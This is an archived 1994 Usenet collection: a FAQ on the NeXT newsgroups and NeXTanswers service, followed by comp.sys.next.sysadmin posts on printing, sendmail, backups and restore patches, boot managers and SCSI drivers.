comp.sys.next.* newsgroups
--------------------------
Comp.Sys.Next.Advocacy
This is the "why NEXTSTEP is better (or worse) than
anything else in the known universe" forum. It was
created specifically to divert lengthy flame wars
from .misc.
Comp.Sys.Next.Announce
Announcements of general interest to the NeXT community
(new products, FTP submissions, user group meetings,
commercial announcements etc.)
The NEXTSTEP FAQs are posted here monthly as well.
This is a moderated newsgroup, meaning that you can't
post to it directly. Submissions should be e-mailed
to next-announce@digifix.com where the moderator
(Scott Anguish) will screen them for suitability.
Comp.Sys.Next.Bugs
A place to report verifiable bugs in NeXT-supplied
software. Material e-mailed to Bug_NeXT@NeXT.COM
is not published, so this is a place for the net
community find out about problems when they're
discovered. This newsgroup has a very poor signal/noise
ratio--all too often bozos post stuff here that really
belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-
specific groups as well.
Comp.Sys.Next.Hardware
Discussions about NeXT-label hardware and compatible
peripherals, and non-NeXT-produced hardware (e.g.
Intel) that is compatible with NEXTSTEP. In most
cases, questions about Intel hardware are better
asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't
the place to buy or sell used NeXTs--that's what
.marketplace is for.
Comp.Sys.Next.Marketplace
NeXT stuff for sale/wanted. Material posted here must
not be crossposted to any other c.s.n.* newsgroup, but
may be crossposted to misc.forsale.computers.workstation
or appropriate regional newsgroups.
Comp.Sys.Next.Misc
For stuff that doesn't fit anywhere else. Anything you
post here by definition doesn't belong anywhere else in
c.s.n.*--i.e. no crossposting!!!
Comp.Sys.Next.Programmer
Questions and discussions of interest to NEXTSTEP
programmers. This is primarily a forum for advanced
technical material.
The NEXTSTEP programmer FAQs are posted here.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
Comp.Sys.Next.Software
This is a place to talk about [third party] software
products that run on NEXTSTEP systems.
Comp.Sys.Next.Sysadmin
Stuff relating to NeXT system administration issues;
in rare cases this will spill over into .programmer
or .software.
related Newsgroups
------------------
Comp.Soft-Sys.Nextstep
Like comp.sys.next.software and comp.sys.next.misc combined. Exists
because NeXT is a software-only company now, and comp.soft-sys is
for discussion of software systems with scope similar to NEXTSTEP.
Comp.Lang.Objective-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
Comp.Object
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then
again OOP allows one to be a programmer/philosopher.
(The original Comp.Sys.Next no longer exists--do not attempt to
post to it.)
Exception to the crossposting restrictions: announcements of
usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
-------------------------------------------
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are
now available as a mailing list digest as well.
next-nextstep-d
next-advocacy-d
next-announce-d
next-bugs-d
next-hardware-d
next-marketplace-d
next-misc-d
next-programmer-d
next-software-d
next-sysadmin-d
(For a full description, send mail saying LISTS to
<digestif@antigone.com>).
The subscription syntax is essentially the same as LISTSERV's.
To subscribe, send a message to <digestif@antigone.com> saying:
SUB Listname YourName
Example: SUB next-hardware-d John Doe
The ftp sites
-------------
cs.orst.edu: The main site for North American submissions
nova.cc.purdue.edu: Lots of older stuff, but very short on disk space
ftp.informatik.uni-muenchen.de: In Germany.
terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and
cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group)
ftp.next.com: See the below
ftp.next.com and NextAnswers@next.com
-------------------------------------
From the document 1000_Help from ftp.next.com
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, or you can transfer them by
anonymous ftp.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com.
Files are sent as NeXTmail attachments by default; you can request they be
sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO <your-address>
If you have any problem with the system or suggestions for improvement,
please send mail to NeXTanswers-request@NeXT.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to NeXTanswers-request@NeXT.com.
Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com
Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
Newsgroups: comp.sys.next.sysadmin
From: gerti@BITart.sub.org (Gerd Knops)
Subject: term and ftp: How?
Message-ID: <CqMqF8.14C@BITart.sub.org>
Sender: usenet@BITart.sub.org
Organization: BITart, NEXTSTEP/OPENSTEP Consulting
Date: Mon, 30 May 1994 19:06:43 GMT
The discussion about term aroused my curiosity, so I downloaded term114,
and installed it on my machine and on a remote machine with internet
access. Everything works so far, using linecheck I found out, which chars
have to be escaped, and now I can use trsh to open shells on the remote
machine, or tupload to upload files to the remote machine.
But I do not understand tredir. I thought (maybe I am to naive here?),
that I can use tredir to redirect eg ftp to the remote machine, so that I
do not have to use Zmodem all the time to finally download files that I
ftp'd to the remote machine. Could a kind soul please point me to how I
can do this? And how does it work with the nameserver stuff?
Gerd
From: next2@info2.rus.uni-stuttgart.de (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Printing to HP DJ500 and Ghostscript
Date: 30 May 94 21:45:49 GMT
Organization: Comp.Center (RUS), U of Stuttgart, FRG
Message-ID: <next2.770334349@info2.rus.uni-stuttgart.de>
References: <2sdaku$2q4@dartvax.dartmouth.edu>
pete@geminga.dartmouth.edu (Peter Schmitt) writes:
>1. Has anyone successfully printed to a DJ500?
Yes - me. Try djf_for_3.0 or get a license for JetPilot or Dots.
>2. Has anyone compiled gs261 on NeXT 3.2?
Why? NeXTSTEP is able to render PostScript. You just have to pay for
the license to do it.
Markus.
--
Markus Wenzel System administration, Consulting, Networking
mow@marsu.tynet.sub.org on... NeXTSTEP / Unix / Novell / Windows NT
IRC: Marsu Expert in quantum bogodynamics
From: chris@nice.usergroup.ethz.ch (Christian Limpach)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Sendmail.cf for NeXT's
Date: 30 May 1994 22:38:29 GMT
Organization: welcome to nowhere...
Message-ID: <CHRIS.94May31003829arkin@nice.usergroup.ethz.ch>
References: <2ri9jg$nij@ppcger.ppc.sub.org> <1994May28.193547.1008@seer.demon.co.uk>
<2scplt$300@ppcger.ppc.sub.org>
In-reply-to: sepp@ppcger.ppc.sub.org's message of 30 May 1994 15:28:29 +0200
Originator: ARKIN@nice
In article <2scplt$300@ppcger.ppc.sub.org> sepp@ppcger.ppc.sub.org (Josef Wolf) writes:
> But why don't next's xxx.cf work for uucp-only sites?
here it works, with sendmail on both sides.
> And how do you tell sendmail to change the From: line, but leave the From_
> alone?
first of all, I don't think that this is necessary, you can make this
conversion on the other side of your link (that's how it works
here...) Your problem seems to be, that the other side of your link
doesn't convert the headers back from uucp style.
But anyway, this is possible with sendmail, but not with the version
NeXT is using. In sendmail 8.6.x you can have separate rules for
envelope and header rewriting (S=xx/yy)
christian
From: chris@nice.usergroup.ethz.ch (Christian Limpach)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: term and ftp: How?
Date: 30 May 1994 22:51:59 GMT
Organization: welcome to nowhere...
Message-ID: <CHRIS.94May31005159arkin@nice.usergroup.ethz.ch>
References: <CqMqF8.14C@BITart.sub.org>
In-reply-to: gerti@BITart.sub.org's message of Mon, 30 May 1994 19:06:43 GMT
Originator: ARKIN@nice
In article <CqMqF8.14C@BITart.sub.org> gerti@BITart.sub.org (Gerd Knops) writes:
> But I do not understand tredir. I thought (maybe I am to naive here?),
> that I can use tredir to redirect eg ftp to the remote machine, so that I
> do not have to use Zmodem all the time to finally download files that I
> ftp'd to the remote machine. Could a kind soul please point me to how I
> can do this? And how does it work with the nameserver stuff?
you will have to get a `special' ftp client which is modified for
term. `ncftp' has a compilation flag to support term and there's a
patch (in patches) for the BSD ftp client. (this is IMHO well
documented in `Blurb') The ftp client will then ask term to redirect
ports as needed, nameserver stuff is just forwarded to the remote
machine (i.e. the redirection handles this, you can redirect a local
port to any port on ANY machine that can be reached from the remote
machine.)
christian
From: robert@steffi.demon.co.uk (Robert Nicholson)
Newsgroups: comp.sys.next.sysadmin
Subject: cmsg cancel <ROBERT.94May30091052@steffi.demon.co.uk>
Control: cancel <ROBERT.94May30091052@steffi.demon.co.uk>
Date: 30 May 1994 10:40:41 GMT
Organization: me organized? That's a joke!
Message-ID: <ROBERT.94May30114042@steffi.demon.co.uk>
--
"Real programmers don't create classes. They build heirarchies"
(PGP key: send email with Subject: request pgp key)
(ASCII for text only messages)
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Printing to HP DJ500 and Ghostscript
Date: 30 May 1994 23:45:13 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <2sdtq9$fcv@news.cs.tu-berlin.de>
References: <2sdaku$2q4@dartvax.dartmouth.edu> <next2.770334349@info2.rus.uni-stuttgart.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
next2@info2.rus.uni-stuttgart.de (Markus Wenzel) writes:
>pete@geminga.dartmouth.edu (Peter Schmitt) writes:
>>1. Has anyone successfully printed to a DJ500?
>Yes - me. Try djf_for_3.0 or get a license for JetPilot or Dots.
Me too. Using eXTRAPRINT/HP, which does Error Diffusion Dithering
for crisp graphics.
Contact: info@goldleaf.com
Marcel
DISCLAIMER: I wrote it.
From: wjs@yucca.omnigroup.com (William Shipley)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: INN, and mosaic
Date: 30 May 1994 16:28:04 -0700
Organization: Omni Development, Inc.
Message-ID: <2sdsq4$54u@yucca.omnigroup.com>
References: <CqFMJw.61H@spcuna.spc.edu> <2s6rfq$q2r@yucca.omnigroup.com> <SWIET.94May28071959@syzygy.cs.jhu.edu>
Alexander Swietlicki writes:
>Ok! Here's one all-important addition...can you make it work with term?
>Not all of us have direct 'net access...
term is distributed under the GNU license, and we prefer not to make OmniWeb
source available at this time.
So, sorry, but we can't do it right now. I like and respect GNU, but when
people put stuff under GNU they make the choice that commercial software won't
be able use it. It'd be great if term were switched over to the license
GNU uses for bison and their C library.
Eventually, we're going to make the entire network-interface portion of the
library a loadable bundle and document the interface, so that anyone
can support socks or term or whatever himself. (We've actually already
enabled socks support, but you get the idea.) This won't be for a
little while, as we're not planning to rewrite the underlying library until
we get NEXTSTEP 3.3.
-Wil Shipley
Omni Development, Inc.
Newsgroups: comp.sys.next.sysadmin
From: jimbo@oingo.umn.edu
Subject: Re: INN, and mosaic
Message-ID: <CqnB72.n4A@news.cis.umn.edu>
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota, Twin Cities
References: <2sdsq4$54u@yucca.omnigroup.com>
Date: Tue, 31 May 1994 02:31:40 GMT
In article <2sdsq4$54u@yucca.omnigroup.com> wjs@yucca.omnigroup.com (William
Shipley) writes:
> Alexander Swietlicki writes:
>
> >Ok! Here's one all-important addition...can you make it work with term?
> >Not all of us have direct 'net access...
>
> library a loadable bundle and document the interface, so that anyone
> can support socks or term or whatever himself. (We've actually already
Politally INCORRECT STATEMENT ^^^^^^^^^
> enabled socks support, but you get the idea.) This won't be for a
> little while, as we're not planning to rewrite the underlying library until
> we get NEXTSTEP 3.3.
>
> -Wil Shipley
> Omni Development, Inc.
>
Newsgroups: comp.sys.next.sysadmin
From: verket@venice.sedd.trw.com (Paul Verket)
Subject: Re: panic doing gnutar with DAT on black
Message-ID: <1994May31.032711.16155@venice.sedd.trw.com>
Originator: verket@verket-home
Sender: news@venice.sedd.trw.com (USENET News)
Organization: TRW Systems Engineering & Development Division, Carson, CA
References: <2sab9e$7pc@charm.magnus.acs.ohio-state.edu>
Date: Tue, 31 May 1994 03:27:11 GMT
In article <2sab9e$7pc@charm.magnus.acs.ohio-state.edu>
wkwong@magnus.acs.ohio-state.edu (Waihon A Kwong) writes:
> ...
> I thought the dump/rdump can not use to do backup on the system
> files with SUID since those files are will not be restored correctly.
> I once was backing up my complete root file system with "dump",
> but after I restore the system, it is not usable since all the SUID
> files got mix up.....
>
> Did NeXT fix this??
Check out 1555_RestorePatch.pkg.compressed from NextAnswers. From the
readme:
This patch fixes a problem with the Release 3.2 version of /etc/restore
where set user and group id bits are not retained on restored files. A
symptom of missing set user and group id bits after restoring a NEXTSTEP
system disk is the inability to log in as a user other than root.
Paul Verket (NeXTmail ok)
From: lolo@alpha.frmug.fr.net (Laurent Azzopardi)
Newsgroups: comp.sys.next.sysadmin
Subject: idle user with finger ?
Date: 30 May 1994 22:13:46 -0000
Organization: Slafe Corp.
Message-ID: <2sdoeq$k4@alpha.frmug.fr.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
Hello,
I'm running with NS 3.2 for Intel.
My PC is powered off twice a week, and each time, when i echo finger,
i get this :
lolo on alpha - ~ > finger
Login Name TTY Idle When Office
lolo Laurent Azzopardi co 82d Mon 20:54
lolo Laurent Azzopardi p1 Mon 21:06
lolo Laurent Azzopardi p2 2 Mon 21:07
root SysAdm p3 2 Mon 21:07
lolo Laurent Azzopardi p4 Mon 21:49
Why, user on console is 82 days idle ? Is it a known bug ?
Thanks.
Laurent.
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From: eps@futon.SFSU.EDU (Eric P. Scott)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Setting up a NeXT as a print server for Non-NeXT boxes
Date: 31 May 1994 05:37:21 GMT
Organization: San Francisco State University
Message-ID: <2seieh$2ss@nic-nac.CSU.net>
References: <JAS.94May27074102@phaedra.news.ucdavis.edu>
Make sure the names you put in /etc/hosts.lpd are the names the
NeXT resolves when it looks up the source IP address. Usually,
this means unqualified names (e.g. phaedra) for hosts listed in
NetInfo, and fully-qualified names (e.g. phaedra.engr.ucdavis.edu)
for hosts that have to be looked up in DNS.
An easy way to determine the correct name is to ping each client:
% /usr/etc/ping indigo 56 1
PING indigo.ucdavis.edu: 56 data bytes
^^^^^^^^^^^^^^^^^^
whatever you see here is what you should use
However, if you see numbers (e.g. 128.120.7.19) there
instead of a name, seek help from a network administrator
at your site.
-=EPS=-
Newsgroups: comp.sys.next.sysadmin
From: ez033219@cassatt.ucdavis.edu (James Antoniou)
Subject: Is it possible to format ..
Message-ID: <CqnKo2.8By@ucdavis.edu>
Sender: usenet@ucdavis.edu (News Guru)
Organization: University of California, Davis
Date: Tue, 31 May 1994 06:00:02 GMT
... a NeXT floppy during a NS/I installation? Someone suggested a remedy
to my Adaptec 1740 install problems (NS/I doesn't recognize my controller
and/or CD-ROM) that involves getting a newer Adaptec 1542 driver from
the NeXT FTP site, uncompressing it, and putting it on to a NeXT-format
floppy, none of which I know how to do since I do not have access to a
NS/I box.
Thus I need to know if there is a way to create a NeXT floppy and un-
compress a file with the newer 1542 driver in it and put it on to this
floppy somewhere along the installation process (and, obviously, before
the install halts).
Thanks for any help - Jim Antoniou
From: grio@next.com (Dan Grillo)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software
Subject: Re: Logout of NetWare Connections via Terminal
Date: 31 May 1994 06:28:15 GMT
Organization: Technical Support, NeXT Computer, Inc.
Message-ID: <2seldv$e3a@rosie.next.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Versions: dmail 1.9c/makemail 2.2a
Erland Wittkoetter writes in comp.sys.next.sysadmin,comp.sys.next.software:
>
> Can you please tell us, how to close a Novell connection with
> a simple Unix command (same effect as the menue "Deauthenticate" in
> NetWare.app)
/usr/netware/bin/nwlogout
nwlogout takes one argument, a server name.
there's nwlogin there also.
--Dan
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From: bonnetf@esiee.fr (Frank Bonnet)
Newsgroups: comp.sys.hp.hpux,comp.sys.hp,comp.sys.next.sysadmin
Subject: Booting up NextStep from CDROM on a HP712
Date: 31 May 1994 10:31:55 +0200
Organization: Groupe ESIEE
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Message-ID: <1994May31.102814@esiee.fr>
Is there some specials clues to boot up an HP712 under NextStep
from the install CDROM ?
From: ajn@island.essex.ac.uk (Alastair)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Lost root password
Message-ID: <AJN.94May31094309@island.essex.ac.uk>
Date: 31 May 94 08:43:08 GMT
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Thanks to all those who replied especially to Carl Lowenstein for comming up
with the magic key sequence, which for future reference is:
<command bar><Atlernate><tilde> where the tilde is the tilde on the lower right
of the keyboard.
Thanks all.
--
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From: gery@ares.fdn.org (Gery Divry)
Subject: How to Recover ASCII Files from a Xenix SCO system
Message-ID: <1994May31.081049.1590@ares.fdn.org>
Sender: news@ares.fdn.org
Organization: Ares - Lyon, France.
Date: Tue, 31 May 1994 08:10:49 GMT
Hello
We have an old app on a xenix SCO system (a PC 386 with floppy drive).
Done in 1 year by a third Party Company 6 Years ago.
We recreated an app for the same purpose on NS ( in a month, Thanks
NextSTEP) but we need to recover a text Database on the old system.
Is there an simple way to do that ?
Thanks by advance
Gery DIVRY ( ZZVolume Daddy )
ARES Publisher
8, rue Victor Lagrange Phone: (+33) 72 80 16 30
69007 LYON Fax: (+33) 72 80 16 32
France Email: gery@ares.fdn.org
Earth, Solar System, Galaxy MW1 NeXT Mail accepted
Newsgroups: comp.sys.next.sysadmin
From: fred@tof.fdn.org (Frederic Pralong)
Subject: sendmail 6.8.9
Message-ID: <1994May31.124029.2078@object_factory.fr>
Sender: news@object_factory.fr
Organization: THE OBJECT FACTORY - Paris, France
Date: Tue, 31 May 1994 12:40:29 GMT
As someone compile the sendmail 8.6.9 under NS 3.2 ?
The Makefile.NeXT is for NS 2.1, can someone help me (script ...)
FReD
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Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer
From: arrouye@petole.imag.fr (Yves Arrouye)
Subject: Printing to Canon DJC-600?
Message-ID: <ARROUYE.94May31151104@petole.imag.fr>
Sender: news@imag.fr
Organization: LGI-IMAG, Grenoble, France
Date: Tue, 31 May 1994 13:11:04 GMT
Hello,
I consider buying a color printer, preferrably the Canon DJC-600. I
would like to know how I can use it with NEXTSTEP. The system should
render the PS, but can I find a driver for it somewhere? If not (or if
ther is no public driver), where can I look for information about how
to write such a driver? Another question is: supposing I have the
driver written (and working ;-), is it possible to write a PPD for it
so that the user will be able to make some choices that the driver
will then handle before printing?
Thanks for any help,
Yves.
PS: I would like to acknowledge here all the answers I got for my ATI
and disk pbs: thanks!
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while advocates for the Objective-C school claim that (33) 76 57 48 64
the errors are no problem in practice (another lie). NeXT Mail
From: fliu@jedi.eng.uci.edu (Feng Liu)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin,comp.sys.next.software
Subject: Floppy controller causes panic with EISA/VL/ISA board, NS/I
Date: 31 May 1994 14:52:24 GMT
Organization: University of California, Irvine
Message-ID: <2sfiv8$b6n@news.service.uci.edu>
I just changed my VL/ISA motherboard to a hunt(?) EISA/VL/ISA motherboard
AMI Bios in order to
have my adaptec 1542B and PAS 16 coexist. They do now. But there are three
problems:
(1) Whenever I reboot the machine, it always says EISA CMOS checksum
failure
but it boots OK in DOS and NS(sort of for NS, see below)
(2) When boot in NS, it complains
Floppy Controller IO: Stray Interrupt
Then it does boot the system and everything works fine, except
whenever
I put in a floppy and run check disks, the system panics: saying
invalid DMA byte. The DMA channel is 2, and I don't have any
conflicts
(3) I have my PAS 16 studio driver set to use DMA 7, IRQ 10. It works fine
with playing sound, but it does not record with the lip-service in
NeXTMail
Thank you.
--
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Department of Mechanical and Aerospace Engineering
University of California, Irvine
Irvine, CA 92717
phone: 714-725-3105
From: Joe_Keenan@next.com (Joe Keenan)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NS/I boot manager eraised after upgrading DOS 6.0 to 6.2
Date: 31 May 1994 15:00:21 GMT
Organization: NeXT, Inc.
Message-ID: <2sfje5$eij@rosie.next.com>
References: <2s9f14$cnn@news.service.uci.edu>
In article <2s9f14$cnn@news.service.uci.edu> fliu@uci.edu (Feng Liu) writes:
> I just upgraded the DOS 6.0 partition to DOS 6.2 by using an upgrade floppy.
> After upgrading everything works fine except the original NS/I
> boot manager is gone.
> I can not choose to boot DOS or NS/I.
> Instead I have to use fdisk to set the active partition in order to change
> from DOS to NS/I or vice versa.
> Is there any way to get back the NS bootmanager?
Don't you just love MicroSoft?
Anyway - boot NS, then run disk -b /dev/rhd0a
That should do it.
joe
From: Joe_Keenan@next.com (Joe Keenan)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Problems doing backups
Date: 31 May 1994 15:03:33 GMT
Organization: NeXT, Inc.
Message-ID: <2sfjk5$eil@rosie.next.com>
References: <2sbvtv$bfl@triton.ucsd.edu>
In article <2sbvtv$bfl@triton.ucsd.edu> cdl@triton.ucsd.edu (Carl Lowenstein)
writes:
> Hey, guys, relax. Somebody at NeXT screwed up restore for NS3.2, with
> respect to suid bits. It was OK for 3.1, 3.0, 2.1, 2.0, 1.0a, my
> experience doesn't go back any further.
>
> So now there is a patched version of restore available at ftp.next.com.
> Or you could use the NS3.1 dump and restore.
Actually, using the NS3.1 version on 3.2 won't do you any good. It has the
same problem. The only solution for 3.2 is the patched version on the ftp
server.
joe
From: mow@marsu.tynet.sub.org (Markus Wenzel)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Sendmail.cf for NeXT's
Date: 31 May 1994 09:41:43 +0100
Organization: Palumbian Research Labs
Message-ID: <2set87$2op@marsu.tynet.sub.org>
References: <2ri9jg$nij@ppcger.ppc.sub.org> <1994May28.193547.1008@seer.demon.co.uk> <2scplt$300@ppcger.ppc.sub.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
sepp@ppcger.ppc.sub.org (Josef Wolf) writes:
>You need expert users for sendmail. smail can be understood by the avarage
>user.
As I am told, sendmail V8 with m4 config option corrects this comparison
a bit. (But I still use smail - why should I change it :-)
>>It is much easier to depend upon NeXT supporting a completely standard
>>configuration that make a change of this nature.
>But why don't next's xxx.cf work for uucp-only sites?
That's a really good question!
>And how do you tell sendmail to change the From: line, but leave the From_
>alone?
When I reached a level of sendmail.cf understanding where I almost
figured out how to tell, I was convinced that it was time to switch over
to smail :-)))
Markus.
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/etc/zoneinfo/ University of Stuttgart
/bin/ps System administration, Consulting, Networking
From: cdodson@beast.cac.stratus.com (R. Craig Dodson)
Newsgroups: comp.sys.next.sysadmin
Subject: The end of the DPT 2000-series nightmares ?
Date: 31 May 1994 18:00:47 GMT
Organization: Stratus Computer Inc, Marlboro MA
Message-ID: <2sfu0f$ic@transfer.stratus.com>
Hi Everyone,
As many of you with DPT SCSI controllers know, there are some *serious*
problems with this controller under NS 3.2. However, NeXT has just released a
new version of the driver for this adapter that promises to fix a great many of
these problems. I will be installing it on all the Intel hardware here at our
site this week. I'll post the results in a few weeks after we see what effect
it has.
Craig Dodson (Stratus Computer)
cdodson@beast.cac.stratus.com
Newsgroups: comp.sys.next.sysadmin
From: armin@kd.fh-hannover.de (Armin Retzko)
Subject: Re: INN, and mosaic
Message-ID: <armin.770405867@master>
Sender: news@newsserver.rrzn.uni-hannover.de (News Service)
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References: <CqFMJw.61H@spcuna.spc.edu> <2s6rfq$q2r@yucca.omnigroup.com>
Date: Tue, 31 May 1994 17:37:47 GMT
wjs@yucca.omnigroup.com (William Shipley) writes:
>Why should anything look like an X program? Yuk. The day I start doing
>faithful NS versions of X programs is the day I become a Tibetian monk and
>start hanging out with Cindy Crawford. (Hey, that doesn't sound so bad,
>actually.)
>Why isn't OmniWeb as good? You never sent us any mail asking for any
>features. It seems to me like I've implemented most the features of
>Mosaic. Forms is coming in 0.7, hopefully before Expo.
>We're trying. We need the community's support. I've seen a lot of
>people complain about WWW interfaces, but I see very few concrete
>lists of things people want changed.
Hi there! I think you've done a great job with programming OmniWeb.
It's a good alternative to Mosaic. But there are three things about
the interface that should be changed:
1. How about splitting the main window and the history browser?
There would be more space to view the www pages without
hiding the browser.
2. The cursor should be displayed as an arrow.
3. It would be nice if one could change the background color
to gray.
That's all folks. Ciao.
--------------------------------------------------------------
Armin Retzko
e-mail: armin@kd.fh-hannover.de
--------------------------------------------------------------
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From: pln@egret0.Stanford.EDU (Patrick L. Nolan)
Newsgroups: comp.sys.next.sysadmin
Subject: Terminal emulation bugs?
Date: 31 May 1994 19:13:14 GMT
Organization: Stanford University
Message-ID: <2sg28a$mpp@nntp2.Stanford.EDU>
When I telnet to my NextStep machine (NS 3.2, Intel), the terminal
emulation doesn't seem to be quite right. Simple commands like
ls cause lines to be broken and splattered all over the page. It
looks as if end-of-line characters are not handled correctly.
It's particularly bad in VT100 mode dealing with an xterm window
or a communication program on a Mac. Things are not so bad in
a sun-cmd window on a Sun.
Does this look familiar to anyone? Could it be something as
simple as a bad termcap?
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* W. W. Hansen Experimental Physics Laboratory (HEPL) *
* Stanford University *
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Newsgroups: comp.sys.next.sysadmin
From: serge@dadofsam.Princeton.EDU
Subject: Rolling your own loginwindow.app
Message-ID: <1994May31.173815.20589@Princeton.EDU>
Originator: news@nimaster
Keywords: login loginwindow
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
Date: Tue, 31 May 1994 17:38:15 GMT
I'm about to embark on writing our own loginwindow.app (we need to do some
special validation BEFORE the user is asked for a password), and I'm wondering
if anyone else has done this and would like to share their efforts. Email
replies please (I'll summarize if anyone else is interested).
Serge J. Goldstein
From: fliu@jedi.eng.uci.edu (Feng Liu)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NS/I boot manager eraised after upgrading DOS 6.0 to 6.2
Date: 31 May 1994 19:49:02 GMT
Organization: University of California, Irvine
Message-ID: <2sg4be$jqi@news.service.uci.edu>
References: <2sfje5$eij@rosie.next.com>
In article <2sfje5$eij@rosie.next.com> Joe_Keenan@next.com (Joe Keenan)
writes:
> In article <2s9f14$cnn@news.service.uci.edu> fliu@uci.edu (Feng Liu)
writes:
>
> > I just upgraded the DOS 6.0 partition to DOS 6.2 by using an upgrade >
> After upgrading everything works fine except the original NS/I
> > boot manager is gone.
> Don't you just love MicroSoft?
>
> Anyway - boot NS, then run disk -b /dev/rhd0a
>
> That should do it.
>
> joe
If it were not for my child to play some games, I would not have
touched DOS or Windows at all.
Anyway, thanks for the suggestion. Scott Hergott was also kind enough to
reply to my post. He suggested
disk -B0 /usr/standalone/i386/boot0/dev/rhd0a
I could not get much help from the man pages for disk to find out
what exact the arguments mean. So I want to make sure to use the correct
one in case I may destroy my NS partition.
Thank you.
--
Feng Liu
Department of Mechanical and Aerospace Engineering
University of California, Irvine
Irvine, CA 92717
phone: 714-725-3105
Newsgroups: comp.sys.next.sysadmin
From: newman@string3.harvard.edu (Michael Newman)
Subject: A "path" for make_services?
Message-ID: <Cqoqv9.Js@das.harvard.edu>
Sender: usenet@das.harvard.edu
Organization: Division of Applied Sciences, Harvard University
Date: Tue, 31 May 1994 21:11:33 GMT
Here is a simple problem that a lot of you must have run into before.
We have a small network of NeXT machines running 3.0. I am trying to
organize the hard drive on the file server more logically.
Currently, we have all our useful non-NeXT apps in /LocalApps (eg stuff
like Gopher, OmniWeb, InstantTeX), which is exported and mounted as
/LocalApps on the other machines. This causes (kludgable) problems for
certain apps which require machine-specific passwords (eg OCRServant.app)
and which (unlike Mathematica, say) cannot be run from a single server on
multiple clients.
Of course the most logical way would be to use /LocalApps for apps which
really are local, and put the exported, network-wide apps somewhere else.
But where? The problem is that unless I use a `standard' directory, these
apps will not be found by make_services and the like. But all the
standard directories contain fairly specific stuff, which I don't want to
mess with.
So my question is in two parts:
1) Where does make_services look for services? There is a list of
directories in Garfinkle and Mahoney, but I don't know if this is
exhaustive.
2) Is there any simple way of extending this list for _all_ users. One
obvious but non-optimal way would be if make_services loooked at people's
path, but this doesn't seem to be the case. Is it possible to set a path
for make_services somewhere else? (I seem to remember some complaints once
of how NS has no Workspace environment -- is this a related issue?)
Any help or advice would be greatly appreciated.
Thanks,
Michael Newman
From: neuwirth@ophelia.tuwien.ac.at (K. Neuwirth)
Newsgroups: comp.sys.hp.hpux,comp.sys.hp,comp.sys.next.sysadmin
